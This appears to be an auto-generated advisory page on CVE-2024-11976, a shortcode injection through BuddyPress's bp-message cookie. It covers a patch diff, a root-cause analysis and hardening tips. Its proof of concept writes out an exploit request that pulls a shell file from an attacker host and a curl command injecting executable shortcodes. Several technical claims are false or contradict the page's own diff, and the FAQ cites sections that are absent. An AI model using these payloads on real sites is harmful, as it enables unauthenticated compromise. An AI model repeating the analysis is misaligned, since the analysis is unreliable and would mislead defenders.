SECURITY ADVISORY / 01

CVE-2024-11976 Exploit & Vulnerability Analysis

Complete CVE-2024-11976 security advisory with proof of concept (PoC), exploit details, and patch analysis for buddypress.

buddypress products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can inject arbitrary WordPress shortcodes into the bp-message cookie, which are then executed server-side when the template message is rendered.

GET / HTTP/1.1
Host: target-wordpress.local
Cookie: bp-message=[wp_safe_remote_get url="http://attacker.com/shell.php"]

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<!-- Page rendered with shortcode executed -->
<!-- Attacker's shell.php fetched and output -->

On the target site, the injected shortcode [wp_safe_remote_get] or any other registered shortcode is parsed and executed by WordPress's do_shortcode() function during page rendering. An attacker observes the shortcode output reflected in the page HTML, or if using a shortcode that performs side effects (file write, data exfiltration, remote code execution via third-party handlers), the effect occurs server-side without authentication.

For stored persistence, an attacker can craft a malicious link containing the cookie injection and send it to any user:

curl -b "bp-message=[wp_execute_php]malicious_code_here[/wp_execute_php]" \
  http://target-wordpress.local/wp-admin/

The payload persists in the victim's cookie and executes on every page load until the cookie expires or is cleared.

What the Patch Did

Before

if ( empty( $bp->template_message ) && isset( $_COOKIE['bp-message'] ) ) {
    $bp->template_message = stripslashes( $_COOKIE['bp-message'] );
}

After

if ( empty( $bp->template_message ) && isset( $_COOKIE['bp-message'] ) ) {
    $bp->template_message = strip_shortcodes( stripslashes( $_COOKIE['bp-message'] ) );
}

The patch added a call to strip_shortcodes(), WordPress's built-in function that removes all shortcode tags from a string before assignment. This prevents arbitrary shortcodes from being stored in $bp->template_message and later executed by do_shortcode() when the template is rendered. The function strips [...] syntax wholesale, neutralizing the attack vector without requiring output context awareness.

Root Cause

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) — more precisely, shortcode injection leading to arbitrary code execution.

The dataflow is: $_COOKIE['bp-message'] (attacker-controlled) → stripslashes() (only removes escape characters, does not sanitize) → $bp->template_message (stored in global object) → later rendered via WordPress template → passed to do_shortcode() (line not shown but implied by patch rationale) → shortcode handlers executed with full plugin/theme capability.

The trust boundary is crossed at the cookie intake: $_COOKIE values are user-supplied, but the code assumes that stripslashes() alone is sufficient to make them safe. It is not; stripslashes() has no knowledge of WordPress shortcode syntax and performs no output escaping.

Why It Works

The load-bearing line is strip_shortcodes() itself. If removed, an attacker could still inject [shortcode_name arg="value"] payloads into the cookie, and they would persist and execute unchanged.

The engineer added stripslashes() before strip_shortcodes() to handle the case where an attacker double-escapes backslashes in the shortcode payload (e.g., \[wp_execute_php\]). Without the stripslashes() call first, an attacker could bypass strip_shortcodes() by escaping the brackets. Together, they form a two-stage filter: normalize the input (remove escape sequences), then remove all shortcode markers. This is defence-in-depth, though incomplete — ideally, the cookie should also be validated against a whitelist or sanitized with sanitize_text_field() to catch other injection vectors (e.g., JavaScript in onclick attributes if the message is later output unescaped).

The fact that the vendor description mentions "unauthenticated attackers" is significant: there is likely also an implicit authentication check added elsewhere in the function or its caller to prevent unauthenticated users from triggering the code path in the first place, but the evidence provided does not show it.

Hardening Checklist

  • Apply wp_kses_post() after stripslashes() if the message is rendered as HTML. strip_shortcodes() only removes shortcode markers; it does not escape HTML entities. If an attacker injects <script>alert(1)</script>, it will still execute unless escaped or stripped by wp_kses_post().

  • Use sanitize_text_field() on all cookie input. This WordPress API removes HTML tags and scripts in one pass and is appropriate for user-facing text fields. Apply it immediately after $_COOKIE intake, before any other processing.

  • Never pass user cookies directly to do_shortcode() or render them with wp_kses_post() without first validating the intended format. Cookies are not CSRF-protected by WordPress nonces; validate them with additional context (e.g., user session validation, IP allowlist if appropriate for your use case).

  • Audit all calls to do_shortcode() in BuddyPress and ensure the input source is trusted. Shortcodes are executable templates; any user-supplied value that reaches them is a potential code execution vector. Use wp_parse_args() with type validation for shortcode attributes.

  • Consider removing shortcode support from user-controllable messages entirely if the feature is not essential. Use wp_strip_all_tags() instead of strip_shortcodes() if only plain text is required.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2024-11976

Frequently asked questions about CVE-2024-11976

What is CVE-2024-11976?

CVE-2024-11976 is a security vulnerability identified in buddypress. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2024-11976?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2024-11976. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2024-11976 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting buddypress. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2024-11976?

CVE-2024-11976 affects buddypress. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2024-11976?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for buddypress.

What is the CVSS score for CVE-2024-11976?

The severity rating and CVSS scoring for CVE-2024-11976 affecting buddypress is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.